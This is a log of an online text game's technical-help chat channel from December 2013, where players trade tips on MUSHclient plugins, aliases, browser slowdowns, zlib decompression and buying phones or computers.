T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: hah
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Ixle Tech: Turie: The only way it makes sense is if he means "can TMS and/or TMC track votes by ip" and then I don't understand the reference to ivoted.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Ixle Tech: xchan!
T3/r7/2013-12-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: how can i turn off the damn windows key?
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: what you mean ?
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Notwalking Tech: with a screwdriver (pop it out)
T3/r7/2013-12-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thats the best idea, thanks notwalking:)
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Gener Tech: windows support to disable the key  http://support.microsoft.com/kb/216893
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: better use keyboard remapper
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: remap it to caps key, and caps to ctrl
T3/r7/2013-12-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: superglue should work..
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tormat Tech: the best is to remap a to s and s to a... great prank
T3/r7/2013-12-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: you're such a bad person, tormat
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tormat Tech: its amazine how fast a good typer well auto correct that.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: well, I've remapped at home and at work my keyboard (caps to ctrl, win key to caps), sometimes people has problem to turn off caps now
T3/r7/2013-12-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i wouldn't want to be the same room with me when someone tries this trick with me
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: oh, once we took screenshot with error message and button to hit and put it as wallpaper
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tormat Tech: heh, i would mess with you if you are that uptight.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: and last time, I've accidentaly replaced scroll lock with prt scr buttons (I've removed them to clean keyboard and put in wrong places after that)
T3/r7/2013-12-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: but hm. being angry for a while is good for you. like Ren does.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: as long as I hit print screen without looking at keyboard everything was fine , but when I was looking I was hitting wrong key and was wondering why sometimes print screen works and why sometimes doesn't
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tormat Tech: heh, we used to allow our techs to play games at work as long as they could keep up with the work
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tormat Tech: i had one that went a little too far so he was selecet as the target
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tormat Tech: i set his desktop to be active desktop which allowed me to set the flash site badger badger badger to his desktop
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tormat Tech: i then shrunk it down and hit it behind an icon, he went mad... he could not play anything without that song looping. he reformatted within 4 hours.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: you are horrible person, tormat
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tormat Tech: i fixed him.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}LurbyJo Tech: Anyone know how to get the spellup plugin for the Aardwolf MUSHclient to display in its own miniwindow?
T3/r7/2013-12-19.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Does Mush come with a spellup plugin now, I don't have the latest sorry...or did you download one from bast or someone else?
T3/r7/2013-12-19.txt.gz:{chan ch=tech}LurbyJo Tech: It doesn't show in colour unless you've got the plugin enabled.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}LurbyJo Tech: But I don't get a separate window like it shows on the thread about it.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}LurbyJo Tech: And I downloaded the one from Nick Gammon in the forums.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}LurbyJo Tech: Do you use the Batmush?
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Redryn Tech: where is this batmush and does it come with a voice emulator that sounds like bruce wayne
T3/r7/2013-12-19.txt.gz:{chan ch=tech}LurbyJo Tech: I can only hope. I have yet to download it.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}LurbyJo Tech: But it's here: https://code.google.com/p/bastmush/
T3/r7/2013-12-19.txt.gz:{chan ch=tech}LurbyJo Tech: I'mma go give it a try.
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Redryn Tech: if webpages are taking really long to load, but speedtest.net reflects a decent connection speed, what else could be a problem?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Taokan Tech: is it a problem in multiple browsers?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Gener Tech: it could be addons in the browser
T3/r7/2013-12-20.txt.gz:{chan ch=tech}WarPigs Tech: What is speedtest.net? A web page? :P
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Bamboo Tech: Yes.
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Redryn Tech: well i tried chrome and ie
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Redryn Tech: aard seems fine though
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Robotface Fugmug Tech: check proxy settings?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Redryn Tech: i don't have any proxy settings set.. just autodetect
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Bamboo Tech: Which webpages?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Redryn Tech: many
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Bamboo Tech: Most?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Redryn Tech: yea
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Bamboo Tech: Google?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Robotface Fugmug Tech: try a couple of traceroutes and see if it looks like theres a problem upstream from you
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Robotface Fugmug Tech: (to different places that work and don't)
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Redryn Tech: it's better atm, but i think google seemed ok earlier
T3/r7/2013-12-20.txt.gz:{chan ch=tech}WarPigs Tech: The issue is only in the browser? Pinging the same site has a fast response?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Redryn Tech: yea it's been intermittent, not a consistent problem
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Gener Tech: try IE in safe mode (no add ons) and see if it is faster
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Redryn Tech: so problem with server somewhere else you guys think?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Robotface Fugmug Tech: yeah that sounds more like addons or spyware
T3/r7/2013-12-20.txt.gz:{chan ch=tech}WarPigs Tech: What are your ping times to the slow sites?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Gener Tech: programs>accessories>system tools> IE (no add ons)
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Pleiades Tech: with chrome, when I hover over a link, I see the href on the bottom... that doesnt seem to be the case with safari?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Pleiades Tech: is there a way to make safari display links before you click on them?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Cruella de Purr Tech: Stupid question time :) Is it possible to put your mushclient on a thumb drive and play it from that on a different computer, and keep all your plugins and aliases and variables? If so, is it just the entire mush directory on the drive?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: Yes.
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Gener Tech: yes if you use aardmuch  no if you use mushclient.  
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: work with mushclient too
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Cruella de Purr Tech: So just plug it in, copy it over, and I'm good to go when in the midst of the barren hinterlands known as holiday travel?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Gener Tech: mushclient needs to be installed.
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: Oh, aard mush, yes
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Cruella de Purr Tech: Thank you.
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Loktar Tech: Anyone around, trying get this warfare trigger to work on MUSH, close but must have something missing or wrong.
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Legendary Gruagach Tech: how do i change channels on this level monitor, the gain:help is not very helpful
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Legendary Gruagach Tech: okey.. nm i typed the same thing 4 times and the 4th time it worked..durp
T3/r7/2013-12-20.txt.gz:{chan ch=tech}ElFeneri Tech: you don't give up easilly
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Iron Sides Arystul Tech: interesting.. I can play aardwolf but I can't use any browser to look at any page.. ideas?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Cryos Tech: what are you using?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Swangin Tech: Internet options. What browser?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Iron Sides Arystul Tech: mozilla, or IE doesn't matter
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Iron Sides Arystul Tech: I have windows 8 
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Negader Tech: is this something new you're running into?  have you installed anything new?  how about trying going back to a saved point?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Iron Sides Arystul Tech: Heh, restarted my computer and lost all internet 
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Iron Sides Arystul Tech: restarted modem and then computer now everything is peachy
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what's the best service to livestream myself playing aardwolf?
T3/r7/2013-12-20.txt.gz:{chan ch=tech}Legendary Gruagach Tech: justin.tv
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Ayon Tech: anyone know anything about using zlib?
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Ayon Tech: I am constantly getting Z_NEED_DICT when trying to inflate.
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Trachx Tech: use inflateInit2() instead of inflateInit()  (from stackoverflow.com)
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Trachx Tech: or you need to use inflateSetDictionary
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Ayon Tech: I'll try it...but isn't inflateinit2 for gzip? I want to handle MCCP?
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Ayon Tech: no, same issue, and it seems according to docs that inflateInit2 is supposed to be used with deflateInit2 etc.
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Daedre Tech: how do i reset the mush settings??
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Daedre Tech: anyone on
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Turie Tech: Any suggestions on a good swivel/adjustable universal cellphone car hold using the vents?
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Mencheres Tech: how do I get the bast status window back?
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Mencheres Tech: closed out of it
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Turie Tech: Did you read the wiki?
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Mencheres Tech: will do
T3/r7/2013-12-21.txt.gz:{chan ch=tech}Negader Tech: can anyone recommend a free wave editor for windows?
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Redwood Tech: Pretty interesting theory: http://9gag.tv/v/1497
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: who goes to 9gag?????
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Keldrath Tech: that vid reminds me of that dude in Limitless
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: How do I turn off raw colors in a sub window in mush?
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: I see number color codes in capture window
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Capiroto Tech: hi
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Capiroto Tech: anybody care to give me some general plugin/trigger advice?
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Make sure you don't bot.
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Capiroto Tech: lol
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Capiroto Tech: not automatization, just information organization
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Book of Etzli Tech: You laugh, but people do bot, and they get caught.
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Book of Etzli Tech: You're quite vague.
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Capiroto Tech: well i wanted to capture my campaign info screen to have it fixed in a side miniwinow
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Capiroto Tech: that's not too complex is it?
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Bobolai Tech: theres a plugin for that
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Book of Etzli Tech: I think it's already been done, actually.
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Zetkax Tech: its done - use winkles s+d triple pack for best results
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Bobolai Tech: finger winklewinkle
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Capiroto Tech: winkles?
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Bobolai Tech: yes must use the triple pack of search and destroy
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Not really.
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Book of Etzli Tech: It's not a must, anyway.
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Zetkax Tech: i would say strongly recommended
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Bobolai Tech: as in dont use the other s&d file
T3/r7/2013-12-22.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: bast has this miniwin too i think
T3/r7/2013-12-22.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: or only quest..
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Capiroto Tech: which is the most complete pack of winklewinkle? triple pack?
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Bobolai Tech: you can get his other stuff too
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Ryv Tech: anyone know what file does mushclient store username/passwords in? (for autoconnect)
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Tech: world
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Turie Tech: MUSHclient>World Aardwolf
T3/r7/2013-12-22.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: no cursing, people help as much as they can.. not like here:p
T3/r7/2013-12-22.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: mis
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Mushambo Tech: Campaign and questing mini-wins  disappeared, I've disabled/enabled and removed/reinstalled those plugins and still cant get them back
T3/r7/2013-12-22.txt.gz:{chan ch=tech}Tech: check out the page on bast's site on the plugins, it gives instructions for that
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebite Tech: um just downloaded the client i see half the big map it wont let me move am i doing sothing wrong?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Nuanse Tech: you should just remove bigmap from plugins
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: no reason to remove bigmap from plugins, but I think he's referring just to the mapper
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebite Tech: the big one? on far right? and i am a female :P
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: it's the "big" map, compared to the ASCII/automap
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: what happens when you click-and-drag the mapper?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebite Tech: wont let me
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebite Tech: got only to bring to front or back
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Domovoy Tech: may be you have to click+drag on another place on miniwindow?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: bring to front or back is right-clicking, not regular clicking
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebite Tech: i can click drag every other  window exept two tge main one ant the map
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: ahh, drag from the top of the mapper window
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: when you hover overt the top, you should see a balloon telling you to drag to move window
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebite Tech: top window yes thanks
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebite Tech: now all my windows effed up lol
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: you can reset them to stock locations by typing "resetaard"
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: and when you like where they are, you can use "aard layout lock"
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: (and "aard layout unlock" to move them again)
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebite Tech: thanks
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tigernuts Tech: well google are s.o.o.l, i can't turn on my works out of the office autoreply because it won't let me into the options page because i'm on ie8
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Turie Tech: too bad no 
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Adlezl Tech: is there a way to reload the backup map database on mushclient?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tigernuts Tech: tech anyone know of an antifungal nasal sprays?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Ullin Tech: what type of mental association made you ask that on tech? :)
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: adlezl: quit MUSHclient, move one of the backup databases into the main folder, and rename it just Aardwolf.db
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: the backup databases are in the folder named db_backups, and named according to age
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Adlezl Tech: thanks. got a little while ago :)
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebyte Tech: a question when i set up a multistring alias on the aard mush client it dont work what am i doing wrong? i am using th semi colon
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Ayasinda Tech: what do you do?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Don't use a semicolon, put one on a line
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Adlezl Tech: i just hit enter between commands
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Ayasinda Tech: lol I dont even know what I do. Let me check.
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebyte Tech: so create food eat food create water drink? like that? just example i know cast 
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Ayasinda Tech: ahh I use ;
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Adlezl Tech: off
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebyte Tech: ok thanks lemmie try again thanks
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Ayasinda Tech: do create food [enter] eat [enter] create water [enter]
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Ayasinda Tech: oops
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebyte Tech: ok ill try
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebyte Tech: thanks enter worked
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Ayasinda Tech: if you use 
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Ayasinda Tech: if you use ; you need to type 2 of them. like create food;;eat;;create water;;drink
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebyte Tech: ah thanks
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: you don't need to use 2 ;s, you need to change the drop-down to send to execute
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebyte Tech: ah 
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tigernuts Tech: who has a pair of Air Jordan 11's?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Taste The Alestorm Tech: once again wrong channel :P
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Vost Tech: Michael Jordan?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tigernuts Tech: nogs, vost
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Siren Cera Tech: too much ale?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tigernuts Tech: i'm having trouble getting my pair to run zmud
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: Tigernuts goes 'pfft' at Taste The Alestorm and covers him with globs of spittle!
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombibyte Tech: how do you  lock down your screens in the  aardmush/ client
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Capiroto Tech: aard layout lock
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Emrys Tech: turn the key to the left
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Turie Tech: aard layout unlock to unlock it.
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombibyte Tech: thanks
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Crnogorac Tech: true, but how do we get grua a good lookin' kid?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Crnogorac Tech: mt
T3/r7/2013-12-23.txt.gz:{chan ch=tech}ShadowWalker Tech: somehow i lost my minimap window.. any idea how to get it back ?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Zombiebyte Tech: click on area where it was?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Turie Tech: Type resetaard
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Crnogorac Tech: in 30 mins, it'll have been 24 hours approx
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Rillith Tech: so how do i use a script i downloaded online?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Rillith Tech: never used scripts before
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: what client?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Rillith Tech: mush
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: if it's a MUSHclient plugin, then go to file -> plugins, click add
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: usually the plugin authors say what to do with it on their site
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Rillith Tech: so search and destroy by winkle is a plugin?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: yes
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Rillith Tech: k one sec
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: it is
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: the download page for search and destroy says how to install...although the triple pack's download page doesn't say it, the instructions are the same
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Rillith Tech: ok ill check it again, idk how i missed it...
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: you probably downloaded the triple pack, as that includes S&D
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Rillith Tech: right but when i googled winklewinkle it came up with a google thing which is where i downloaded from
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: yes, that's where I mean
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Rillith Tech: aaaaand i found it
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: click downloads, click winklewinkle_search_destroy_2.xml
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Rillith Tech: so for the triple pack i just have to add all three parts?
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Rillith Tech: ok :)
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: for non steam games, hearthstone, bf4, league of legends, etc
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: mt!
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm... I wonder if I can hook up my external speaker that requires 3 AAA batteries to my car battery via the radio wiring... would be cheaper to use that and my phone as radio instead of buying a radio...
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Negader Tech: use short wave radio power units
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Tech: Book of Etzli sits down and thinks deeply. 
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: I picked shoshone but would have been fine with anyone. the map was really stacked though. had mountains all over where I put my cities. couldnt be sieged
T3/r7/2013-12-23.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: mt!
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Cryos Tech: how do you send messages to your self?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ixle Tech: tell self
T3/r7/2013-12-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: echo
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Cryos Tech: thanks
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Adlezl Tech: what is the command for command aliasing attacks: cast nuke (what symbols here?) 
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Adlezl Tech: oops it mushclient. i want to turn 'cast nuke creature' into 'cn (whatever name)', so in the command space 'cast nuke (??)' 
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Dolt Tech: you need to make the alias patten 'cn *', then the action should be cast nuke %1
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Cryos Tech: alias cn * to cast nuke %1
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Adlezl Tech: nice, thanks
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ullin Tech: guys, what is the best way to connect to aard via iphone/ipad?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ullin Tech: I am sure it has been debated before, but can't find any reference
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Legendary Gruagach Tech: trick question
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Prince Wario Tech: I use a mud app I found online through the apple store
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ullin Tech: which one?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Prince Wario Tech: it's called pocket mud
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ullin Tech: thnks will check it out
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Thyth Tech: how do i use pattern matching in aardmush? like, when my <weaponname> gets disarmed, i want to get & wear <weaponname>?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Siren Cera Tech: anyone have a clue whey I get two quest event miniwins (Bast) when my timer goes off?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Siren Cera Tech: quest is listed twice in my event's miniwin too (the one that lists all my events).  happens with cps too
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Kippe Tech: if you'd also get twice the qps it would be nice. But no I don't know. i use them too and only have them once
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Siren Cera Tech: used to only get them once... but i re-did everything.  computer on up
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Kippe Tech: you have the plugin loaded only once?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Vezerin Tech: anyone real familiar with snd?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ontuct Tech: might just ask the question.
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: what's the regex syntax for an optional whitespace
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: <space>? eg, foo ?bar
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Schnapps Tech: s?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Schnapps Tech: \s?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: I'll try
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: yah looks fine, thank you
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: np
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ruthless Ross Tech: I have an ancient phone and don't really know what the best ones are. I want a phone that is considered particularly good for making vine videos, with the front facing cam and all that. Any recommendations?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: for 240 including shipping what do you think about a dell optimun desktop, refurbished, intel pentium d 2.8 gh, 8 gb ram, 1 tb hd, windows 7 proffesionall, is that a good price?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Weylos Tech: not bad
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Kippe Tech: 240 what?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: dollers
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Elysian Tech: 240 North Korean lashings
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Aizma Tech: That would be a good name for a currency
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Weylos Tech: the processor is pretty old if its single core, but its decent
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ruthless Ross Tech: windows 7 itself is worth almost as much as the whole bundle, that is amazing... but beware the 'refurbished'
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Trachx Tech: pentium dual core ? or single ?
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: doesn't say, had a house fire and need a new puter with not much money, any ideas where to look
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ruthless Ross Tech: is this on ebay? link me if so, my mom is quite the ebay user and i can ask her if the place looks legit based on its feedback etc.
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: no, on dell 
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ruthless Ross Tech: ah
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ruthless Ross Tech: from what i've been told, shopping for used computers on the net is very hit-or-miss, so i unfortunately don't have any useful recommendations
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Weylos Tech: you can get a decent laptop for like 250 on newegg if you search hard. Not great for 3d games and stuff, but fine for internet, youtube, videos, music, aardwolf etc
